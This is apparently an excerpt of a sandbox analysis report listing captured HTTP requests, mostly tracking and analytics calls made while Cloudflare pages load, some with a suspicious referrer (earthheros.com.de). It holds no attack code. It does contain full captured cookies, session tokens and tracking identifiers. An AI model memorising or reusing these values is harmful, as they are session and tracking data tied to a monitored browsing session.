AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7C
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=18&expiry=1744819025&external_user_id=90b55140-4e1c-4e26-b4f5-78718a696458&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zw-iU8AoIkYAAGxuALVa0wAA; CMPS=2021; CMPRO=2021
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-identity-and-access-management/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _lr_tabs_-ykolez%2Fcloudflarecom={%22ses
Source: global traffic	HTTP traffic detected: GET /page-data/learning/access-management/what-is-sase/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recording
Source: global traffic	HTTP traffic detected: GET /page-data/index/page-data.json HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=9300f68f-e8ba-42bd-9cdc-3a332f4c3684&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=23dfc9da-79c0-4eb2-a327-7b0f650d3beb&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: guest_id_marketing=v1%3A172909422568782955; guest_id_ads=v1%3A172909422568782955; personalization_id="v1_GZyMjZa2DGUHYdAs9hf50g=="; guest_id=v1%3A172909422568782955
Source: global traffic	HTTP traffic detected: GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=9300f68f-e8ba-42bd-9cdc-3a332f4c3684&integration=advertiser&p_id=Twitter&p_user_id=0&pl_id=23dfc9da-79c0-4eb2-a327-7b0f650d3beb&restricted_data_use=restrict_optimization&tw_document_href=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&tw_iframe_status=0&txn_id=nvldc&type=javascript&version=2.3.30 HTTP/1.1Host: t.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: muc_ads=cb3a029f-f6d3-4c7d-b2ac-84f4d4ad63eb; __cf_bm=ogtTcsIUC_NjyxY9O1SGtKREg1_z0x2HSpWi_vB_XWU-1729094225-1.0.1.1-2lAmhsTZhGbs7Y4rxlC7PlTUxN4dYb58m2ON2qU_bXgzU4fk94QsLK5KgER0f0m4rqz_Un6Yfn9B9Dua.U6KRA
Source: global traffic	HTTP traffic detected: GET /p/action/5268204.js HTTP/1.1Host: bat.bing.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/v1/identity/acquire?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f051324a-f356-4e4a-9da2-6155c0ab0ed0 HTTP/1.1Host: adobedc.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=67186572711371259904276718133462973521
Source: global traffic	HTTP traffic detected: GET /bat.js HTTP/1.1Host: bat.bing.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v3/ip.json?referrer=https%3A%2F%2Fearthheros.com.de%2F&page=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&page_title=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare HTTP/1.1Host: api.company-target.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=90b55140-4e1c-4e26-b4f5-78718a696458; tuuid_lu=1729094225\|ix:0\|mctv:0\|rp:0
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Zw-iUgAAADpcGwN- HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=67186572711371259904276718133462973521; dpm=67186572711371259904276718133462973521
Source: global traffic	HTTP traffic detected: GET /bg9s?x-amz-cf-id=USpYjdQUxSmr9WOVPx3lFuorv6ii_vnsVqzOEvhck-Q1IWQ_vSR2KQ==&api-version=v3 HTTP/1.1Host: tag-logger.demandbase.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/bizible.js HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fearthheros.com.de%2F&_biz_h=-1777624096&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094223085&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=0&rnd=268888&cdn_o=a&_biz_z=1729094223088 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /u?_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094223094&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&rnd=375994&cdn_o=a&_biz_z=1729094223094 HTTP/1.1Host: cdn.bizibly.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=d3ff9a58ccb9b565c7c7fc0e4d192ffd
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; cfzs_google-analytics_v4=%7B%22nzcr_conversionCounter%22%3A%7B%22v%22%3A%222%22%7D%7D; cfz_google-analytics_v4=%7B%22nzcr_engagementDuration%22%3A%7B%22v%22%3A%220%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_engagementStart%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_counter%22%3A%7B%22v%22%3A%222%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4sid%22%3A%7B%22v%22%3A%221138287130%22%2C%22e%22%3A1729096024117%7D%2C%22nzcr_session_counter%22%3A%7B%22v%22%3A%221%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr_ga4%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630224117%7D%2C%22nzcr__z_ga_audiences%22%3A%7B%22v%22%3A%225800add8-caaa-4f7b-8872-1ef83a3ff082%22%2C%22e%22%3A1760630221982%7D%2C%22nzcr_let%22%3A%7B%22v%22%3A%221729094224117%22%2C%22e%22%3A1760630224117%7D%7D; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%
Source: global traffic	HTTP traffic detected: GET /xdc.js?_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_h=-1777624096&cdn_o=a&jsVer=4.24.10.10 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /u?mapType=mkto&mapValue=id%3A713-XSC-918%26token%3A_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73&_biz_u=9cf0c5c3c8234176adfbc3176fd8b579&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729094224357&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=1&rnd=333421&cdn_o=a&_biz_z=1729094225466 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=9cf0c5c3c8234176adfbc3176fd8b579
Source: global traffic	HTTP traffic detected: GET /sync?UIDM=90b55140-4e1c-4e26-b4f5-78718a696458 HTTP/1.1Host: partners.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=c85c1bc3a8884121ab4664c80463bddf; tv_UIDM=90b55140-4e1c-4e26-b4f5-78718a696458
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=da3d6b47-7117-489e-9b75-51423ceae399 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
